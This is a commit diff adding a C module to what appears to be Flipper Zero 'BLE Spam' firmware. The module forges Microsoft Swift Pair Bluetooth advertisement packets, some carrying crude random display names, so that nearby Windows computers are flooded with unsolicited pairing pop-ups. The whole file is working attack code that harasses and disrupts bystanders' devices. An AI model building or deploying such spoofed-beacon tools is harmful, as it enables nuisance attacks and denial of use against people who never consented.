BLE Spam add Windows SwiftPair spam

Co-authored-by: Spooks <62370103+Spooks4576@users.noreply.github.com>

applications/external/ble_spam/protocols/swiftpair.c

@@ -0,0 +1,54 @@
+#include "swiftpair.h"
+#include "_registry.h"
+
+// Hacked together by @Willy-JL and @Spooks4576
+// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
+
+const char* swiftpair_get_name(const BleSpamMsg* _msg) {
+    const SwiftpairMsg* msg = &_msg->swiftpair;
+    UNUSED(msg);
+    return "SwiftPair";
+}
+
+void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
+    const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL;
+
+    const char* display_name;
+    if(msg && msg->display_name[0] != '\0') {
+        display_name = msg->display_name;
+    } else {
+        const char* names[] = {
+            "Assquach💦",
+            "Flipper 🐬",
+            "iOS 17 🍎",
+            "Kink💦",
+            "👉👌",
+            "🔵🦷",
+        };
+        display_name = names[rand() % COUNT_OF(names)];
+    }
+    uint8_t display_name_len = strlen(display_name);
+
+    uint8_t size = 7 + display_name_len;
+    uint8_t* packet = malloc(size);
+    uint8_t i = 0;
+
+    packet[i++] = size - 1; // Size
+    packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
+    packet[i++] = 0x06; // Company ID (Microsoft)
+    packet[i++] = 0x00; // ...
+    packet[i++] = 0x03; // Microsoft Beacon ID
+    packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
+    packet[i++] = 0x80; // Reserved RSSI Byte
+    memcpy(&packet[i], display_name, display_name_len); // Display Name
+    i += display_name_len;
+
+    *out_size = size;
+    *out_packet = packet;
+}
+
+const BleSpamProtocol ble_spam_protocol_swiftpair = {
+    .icon = &I_windows,
+    .get_name = swiftpair_get_name,
+    .make_packet = swiftpair_make_packet,
+};